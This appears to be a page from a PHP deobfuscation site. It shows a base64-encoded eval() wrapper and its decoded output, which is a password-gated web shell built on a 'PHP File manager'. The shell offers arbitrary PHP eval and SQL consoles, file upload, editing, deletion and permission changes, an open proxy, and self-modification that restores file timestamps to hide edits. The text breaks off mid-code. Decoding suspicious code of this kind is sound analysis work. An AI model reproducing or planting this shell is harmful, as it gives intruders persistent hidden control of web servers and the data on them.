Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgJGJiZmU9Jyc7aWYoaXNzZXQoJF9QT1NUWydiYmZlJ10pKXskYmJ..

Decoded Output download

?>b'<?php $bbfe=\'\';if(isset($_POST[\'bbfe\'])){$bbfe=$_POST[\'bbfe\'];setcookie("pa",$_POST[\'bbfe\'],null,"/");}if((isset($_COOKIE[\'pa\'])&&md5($_COOKIE[\'pa\'])==\'32bba1385e042b5d6a79f7ac988a72b7\')||md5($bbfe)==\'32bba1385e042b5d6a79f7ac988a72b7\'){}else{die(\'<html><head></head><body><form action="" method="post"><input type="password" name="bbfe" value=""><input type="submit" name="submit" value="submit"></form></body></html>\');}?><!--ok--><?php
set_time_limit(0);
ini_set(\'memory_limit\', \'-1\');
ini_set(\'output_buffering\', 0);
ini_set(\'display_errors\', 0);
header(\'Content-Type: text/html; charset=UTF-8\');

/* PHP File manager ver 1.4 */

// Configuration  do not change manually!
$authorization = \'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>
<script language=\"Javascript\" type=\"text\/javascript\">
editAreaLoader.init({
id: \"newcontent\"
,display: \"later\"
,start_highlight: true
,allow_resize: \"both\"
,allow_toggle: true
,word_wrap: true
,language: \"ru\"
,syntax: \"php\"	
,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"
,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"
});
<\/script>"}\';
$php_templates = \'{"Settings":"global $fm_config;
var_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}\';
$sql_templates = \'{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}\';
$translation = \'{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}\';
// end configuration

// Preparations
$starttime = explode(\' \', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array(\'en\',\'ru\',\'de\',\'fr\',\'uk\');
$path = empty($_REQUEST[\'path\']) ? $path = realpath(\'.\') : realpath($_REQUEST[\'path\']);
$path = str_replace(\'\\', \'/\', $path) . \'/\';
$main_path=str_replace(\'\\', \'/\',realpath(\'./\'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = \'\'; // service string
$default_language = \'ru\';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth[\'authorize\'] = isset($auth[\'authorize\']) ? $auth[\'authorize\'] : 0; 
$auth[\'days_authorization\'] = (isset($auth[\'days_authorization\'])&&is_numeric($auth[\'days_authorization\'])) ? (int)$auth[\'days_authorization\'] : 30;
$auth[\'login\'] = isset($auth[\'login\']) ? $auth[\'login\'] : \'admin\';  
$auth[\'password\'] = isset($auth[\'password\']) ? $auth[\'password\'] : \'phpfm\';  
$auth[\'cookie_name\'] = isset($auth[\'cookie_name\']) ? $auth[\'cookie_name\'] : \'fm_user\';
$auth[\'script\'] = isset($auth[\'script\']) ? $auth[\'script\'] : \'\';

// Little default config
$fm_default_config = array (
	\'make_directory\' => true, 
	\'new_file\' => true, 
	\'upload_file\' => true, 
	\'show_dir_size\' => false, //if true, show directory size  maybe slow 
	\'show_img\' => true, 
	\'show_php_ver\' => true, 
	\'show_php_ini\' => false, // show path to current php.ini
	\'show_gt\' => true, // show generation time
	\'enable_php_console\' => true,
	\'enable_sql_console\' => true,
	\'sql_server\' => \'localhost\',
	\'sql_username\' => \'root\',
	\'sql_password\' => \'\',
	\'sql_db\' => \'test_base\',
	\'enable_proxy\' => true,
	\'show_phpinfo\' => true,
	\'show_xls\' => true,
	\'fm_settings\' => true,
	\'restore_time\' => true,
	\'fm_restore_time\' => false,
);

if (empty($_COOKIE[\'fm_config\'])) 
{
    $fm_config = $fm_default_config;
}
else 
{
    $fm_config = unserialize($_COOKIE[\'fm_config\']);
}


// Change language
if (isset($_POST[\'fm_lang\'])) { 
	setcookie(\'fm_lang\', $_POST[\'fm_lang\'], time() + (86400 * $auth[\'days_authorization\']));
	$_COOKIE[\'fm_lang\'] = $_POST[\'fm_lang\'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER[\'HTTP_ACCEPT_LANGUAGE\']) && empty($_COOKIE[\'fm_lang\'])){
	$lang_priority = explode(\',\', $_SERVER[\'HTTP_ACCEPT_LANGUAGE\']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(\';\', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE[\'fm_lang\'])) ? $language : $_COOKIE[\'fm_lang\'];

// Localization
$lang = json_decode($translation,true);
if ($lang[\'id\']!=$language) {
	$get_lang = file_get_contents(\'https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/\' . $language . \'.json\');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("\'",\'&#39;\',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match(\'#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#\', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace(\'{"\'.$matches[1].\'"}\',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __(\'File updated\');
			}	else $msg .= __(\'Error occurred\');
			if (!empty($fm_config[\'fm_restore_time\'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, \'\', \'\', true);
		foreach ($els as $el) {
			if($el != \'.\' && $el != \'..\'){
				fm_del_files($file . \'/\' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = \'\';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = \'s\';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = \'l\';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = \'-\';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = \'b\';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = \'d\';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = \'c\';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = \'p\';
		} else {
			//Unknown
			$info = \'u\';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? \'r\' : \'-\');
	$info .= (($perms & 0x0080) ? \'w\' : \'-\');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? \'s\' : \'x\' ) :
	(($perms & 0x0800) ? \'S\' : \'-\'));
 
	//Group
	$info .= (($perms & 0x0020) ? \'r\' : \'-\');
	$info .= (($perms & 0x0010) ? \'w\' : \'-\');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? \'s\' : \'x\' ) :
	(($perms & 0x0400) ? \'S\' : \'-\'));
 
	//World
	$info .= (($perms & 0x0004) ? \'r\' : \'-\');
	$info .= (($perms & 0x0002) ? \'w\' : \'-\');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? \'t\' : \'x\' ) :
	(($perms & 0x0200) ? \'T\' : \'-\'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,\'-\');
	$trans = array(\'-\'=>\'0\',\'r\'=>\'4\',\'w\'=>\'2\',\'x\'=>\'1\');
	$mode = strtr($mode,$trans);
	$newmode = \'0\';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . \'/\' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn\'t really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header(\'HTTP/1.0 404 Not Found\', true, 404);
			header(\'Status: 404 Not Found\'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.\' bytes\';
		elseif($size<=1024*1024) return round($size/(1024),2).\'&nbsp;Kb\';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).\'&nbsp;Mb\';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).\'&nbsp;Gb\';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).\'&nbsp;Tb\'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).\'&nbsp;Pb\'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file==\'.\' || $file==\'..\') continue;
			if(is_file($f.\'/\'.$file)) $size+=filesize($f.\'/\'.$file);
			else $size+=fm_dir_size($f.\'/\'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = \'\', $type = \'all\', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = \'/^\' . str_replace(\'*\', \'(.*)\', str_replace(\'.\', \'\.\', $exp)) . \'$/\';
	}
	if(!empty($type) && $type !== \'all\'){
		$func = \'is_\' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != \'.\' || $do_not_filter) {
				if((empty($type) || $type == \'all\' || $func($directory . \'/\' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title=\'\') {
	if (empty($title)) $title=$name.\' \'.basename($link);
	return \'&nbsp;&nbsp;<a href="?\'.$get.\'=\'.base64_encode($link).\'" title="\'.$title.\'">\'.$name.\'</a>\';
}

function fm_arr_to_option($arr,$n,$sel=\'\'){
	foreach($arr as $v){
		$b=$v[$n];
		$res.=\'<option value="\'.$b.\'" \'.($sel && $sel==$b?\'selected\':\'\').\'>\'.$b.\'</option>\';
	}
	return $res;
}

function fm_lang_form ($current=\'en\'){
return \'
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="\'.__(\'Language\').\'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" \'.($current==\'en\'?\'selected="selected" \':\'\').\'>\'.__(\'English\').\'</option>
		<option value="de" \'.($current==\'de\'?\'selected="selected" \':\'\').\'>\'.__(\'German\').\'</option>
		<option value="ru" \'.($current==\'ru\'?\'selected="selected" \':\'\').\'>\'.__(\'Russian\').\'</option>
		<option value="fr" \'.($current==\'fr\'?\'selected="selected" \':\'\').\'>\'.__(\'French\').\'</option>
		<option value="uk" \'.($current==\'uk\'?\'selected="selected" \':\'\').\'>\'.__(\'Ukrainian\').\'</option>
	</select>
</form>
\';
}
	
function fm_root($dirname){
	return ($dirname==\'.\' OR $dirname==\'..\');
}

function fm_php($string){
	$display_errors=ini_get(\'display_errors\');
	ini_set(\'display_errors\', \'1\');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set(\'display_errors\', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config[\'sql_server\'], $fm_config[\'sql_username\'], $fm_config[\'sql_password\'], $fm_config[\'sql_db\']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset(\'utf8\');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?\'\':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return \'<pre>\'.stripslashes($vdump).\'</pre>\';
	}
}

function fm_backup_tables($tables = \'*\', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; 
  
";
	if($tables == \'*\')	{
		$tables = array();
		$result = $mysqldb->query(\'SHOW TABLES\');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(\',\',$tables);
	}
    
	$return=\'\';
	foreach($tables as $table)	{
		$result = $mysqldb->query(\'SELECT * FROM \'.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= \'DROP TABLE IF EXISTS `\'.$table.\'`\'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query(\'SHOW CREATE TABLE \'.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= \'INSERT INTO `\'.$table.\'` VALUES(\';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("
","\n",$row[$j]);
					if (isset($row[$j])) { $return.= \'"\'.$row[$j].\'"\' ; } else { $return.= \'""\'; }
					if ($j<($num_fields-1)) { $return.= \',\'; }
				}
				$return.= \')\'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", \'\', $return);
		}
		$return.="


";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).\'.sql\';
	$handle = fopen($file,\'w+\');
	fwrite($handle,$return);
	fclose($handle);
	$alert = \'onClick="if(confirm(\'\'. __(\'File selected\').\': 
\'. $file. \'. 
\'.__(\'Are you sure you want to delete this file?\') . \'\')) document.location.href = \'?delete=\' . $file . \'&path=\' . $path  . \'\'"\';
    return $file.\': \'.fm_link(\'download\',$path.$file,__(\'Download\'),__(\'Download\').\' \'.$file).\' <a href="#" title="\' . __(\'Delete\') . \' \'. $file . \'" \' . $alert . \'>\' . __(\'Delete\') . \'</a>\';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; 
  
";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __(\'Success\').\'  \'.$sqlFileToExecute;
else return $sqlErrorText.\'<br/>\'.$stmt;
}

function fm_img_link($filename){
	return \'./\'.basename(__FILE__).\'?img=\'.base64_encode($filename);
}

function fm_home_style(){
	return \'
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}\';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return \'<tr><td class="row1"><input id="fm_config_\'.$value.\'" name="fm_config[\'.$value.\']" value="1" \'.(empty($fm_config[$value])?\'\':\'checked="true"\').\' type="checkbox"></td><td class="row2 whole"><label for="fm_config_\'.$value.\'">\'.$name.\'</td></tr>\';
}

function fm_protocol() {
	if (isset($_SERVER[\'HTTP_SCHEME\'])) return $_SERVER[\'HTTP_SCHEME\'].\'://\';
	if (isset($_SERVER[\'HTTPS\']) && $_SERVER[\'HTTPS\'] == \'on\') return \'https://\';
	if (isset($_SERVER[\'SERVER_PORT\']) && $_SERVER[\'SERVER_PORT\'] == 443) return \'https://\';
	if (isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\') return \'https://\';
	return \'http://\';
}

function fm_site_url() {
	return fm_protocol().$_SERVER[\'HTTP_HOST\'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():\'.\';
	return $host.\'/\'.basename(__FILE__);
}

function fm_home($full=false){
	return \'&nbsp;<a href="\'.fm_url($full).\'" title="\'.__(\'Home\').\'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>\';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config[\'enable_\'.$lng.\'_console\']) ? 
	\'
				<form  method="post" action="\'.fm_url().\'" style="display:inline">
				<input type="submit" name="\'.$lng.\'run" value="\'.strtoupper($lng).\' \'.__(\'Console\').\'">
				</form>
\' : \'\';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace(\'&amp;\',\'&\',$matches[2]);
	$url = isset($_GET[\'url\'])?$_GET[\'url\']:\'\';
	$parse_url = parse_url($url);
	$host = $parse_url[\'scheme\'].\'://\'.$parse_url[\'host\'].\'/\';
	if (substr($link,0,2)==\'//\') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)==\'/\') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)==\'./\') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)==\'http\') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]==\'href\' && !strripos($link, \'css\')) {
		$base = fm_site_url().\'/\'.basename(__FILE__);
		$baseq = $base.\'?proxy=true&url=\';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, \'css\')){
		//-   
	}
	return $matches[1].\'="\'.$link.\'"\';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.\'_templates\'};
	$tpl_arr = json_decode(${$lng_tpl.\'_templates\'},true);
	$str = \'\';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= \'<tr><td class="row1"><input name="\'.$lng_tpl.\'_name[]" value="\'.$ktpl.\'"></td><td class="row2 whole"><textarea name="\'.$lng_tpl.\'_value[]"  cols="55" rows="5" class="textarea_input">\'.$vtpl.\'</textarea> <input name="del_\'.rand().\'" type="button" onClick="this.parentNode.parentNode.remove();" value="\'.__(\'Delete\').\'"/></td></tr>\';
	}
return \'
<table>
<tr><th colspan="2">\'.strtoupper($lng_tpl).\' \'.__(\'templates\').\' \'.fm_run_input($lng_tpl).\'</th></tr>
<form method="post" action="">
<input type="hidden" value="\'.$lng_tpl.\'" name="tpl_edited">
<tr><td class="row1">\'.__(\'Name\').\'</td><td class="row2 whole">\'.__(\'Value\').\'</td></tr>
\'.$str.\'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'\'.fm_url().\'?fm_settings=true\';" value="\'.__(\'Reset\').\'"/> <input type="submit" value="\'.__(\'Save\').\'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="\'.$lng_tpl.\'" name="tpl_edited">
<tr><td class="row1"><input name="\'.$lng_tpl.\'_new_name" value="" placeholder="\'.__(\'New\').\' \'.__(\'Name\').\'"></td><td class="row2 whole"><textarea name="\'.$lng_tpl.\'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="\'.__(\'New\').\' \'.__(\'Value\').\'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="\'.__(\'Add\').\'" ></td></tr>
</form>
</table>
\';
}

/* End Functions */

// authorization
if ($auth[\'authorize\']) {
	if (isset($_POST[\'login\']) && isset($_POST[\'password\'])){
		if (($_POST[\'login\']==$auth[\'login\']) && ($_POST[\'password\']==$auth[\'password\'])) {
			setcookie($auth[\'cookie_name\'], $auth[\'login\'].\'|\'.md5($auth[\'password\']), time() + (86400 * $auth[\'days_authorization\']));
			$_COOKIE[$auth[\'cookie_name\']]=$auth[\'login\'].\'|\'.md5($auth[\'password\']);
		}
	}
	if (!isset($_COOKIE[$auth[\'cookie_name\']]) OR ($_COOKIE[$auth[\'cookie_name\']]!=$auth[\'login\'].\'|\'.md5($auth[\'password\']))) {
		echo \'
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>\'.__(\'File manager\').\'</title>
</head>
<body>
<form action="" method="post">
\'.__(\'Login\').\' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
\'.__(\'Password\').\' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="\'.__(\'Enter\').\'" class="fm_input">
</form>
\'.fm_lang_form($language).\'
</body>
</html>
\';  
die();
	}
	if (isset($_POST[\'quit\'])) {
		unset($_COOKIE[$auth[\'cookie_name\']]);
		setcookie($auth[\'cookie_name\'], \'\', time() - (86400 * $auth[\'days_authorization\']));
		header(\'Location: \'.fm_site_url().$_SERVER[\'REQUEST_URI\']);
	}
}

// Change config
if (isset($_GET[\'fm_settings\'])) {
	if (isset($_GET[\'fm_config_delete\'])) { 
		unset($_COOKIE[\'fm_config\']);
		setcookie(\'fm_config\', \'\', time() - (86400 * $auth[\'days_authorization\']));
		header(\'Location: \'.fm_url().\'?fm_settings=true\');
		exit(0);
	}	elseif (isset($_POST[\'fm_config\'])) { 
		$fm_config = $_POST[\'fm_config\'];
		setcookie(\'fm_config\', serialize($fm_config), time() + (86400 * $auth[\'days_authorization\']));
		$_COOKIE[\'fm_config\'] = serialize($fm_config);
		$msg = __(\'Settings\').\' \'.__(\'done\');
	}	elseif (isset($_POST[\'fm_login\'])) { 
		if (empty($_POST[\'fm_login\'][\'authorize\'])) $_POST[\'fm_login\'] = array(\'authorize\' => \'0\') + $_POST[\'fm_login\'];
		$fm_login = json_encode($_POST[\'fm_login\']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match(\'#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#\', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace(\'{"\'.$matches[1].\'"}\',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __(\'File updated\');
				if ($_POST[\'fm_login\'][\'login\'] != $auth[\'login\']) $msg .= \' \'.__(\'Login\').\': \'.$_POST[\'fm_login\'][\'login\'];
				if ($_POST[\'fm_login\'][\'password\'] != $auth[\'password\']) $msg .= \' \'.__(\'Password\').\': \'.$_POST[\'fm_login\'][\'password\'];
				$auth = $_POST[\'fm_login\'];
			}
			else $msg .= __(\'Error occurred\');
			if (!empty($fm_config[\'fm_restore_time\'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST[\'tpl_edited\'])) { 
		$lng_tpl = $_POST[\'tpl_edited\'];
		if (!empty($_POST[$lng_tpl.\'_name\'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.\'_name\'],$_POST[$lng_tpl.\'_value\']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.\'_new_name\'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.\'_templates\'},true)+array($_POST[$lng_tpl.\'_new_name\']=>$_POST[$lng_tpl.\'_new_value\']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match(\'#\'.$lng_tpl.\'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#\', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace(\'{"\'.$matches[1].\'"}\',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.\'_templates\'} = $fm_php;
					$msg .= __(\'File updated\');
				} else $msg .= __(\'Error occurred\');
				if (!empty($fm_config[\'fm_restore_time\'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __(\'Error occurred\');
	}
}

// Just show image
if (isset($_GET[\'img\'])) {
	$file=base64_decode($_GET[\'img\']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext=\'gif\'; break;
			case 2: $ext=\'jpeg\'; break;
			case 3: $ext=\'png\'; break;
			case 6: $ext=\'bmp\'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET[\'download\'])) {
	$file=base64_decode($_GET[\'download\']);
	fm_download($file);	
}

// Just show info
if (isset($_GET[\'phpinfo\'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET[\'proxy\']) && (!empty($fm_config[\'enable_proxy\']))) {
	$url = isset($_GET[\'url\'])?urldecode($_GET[\'url\']):\'\';
	$proxy_form = \'
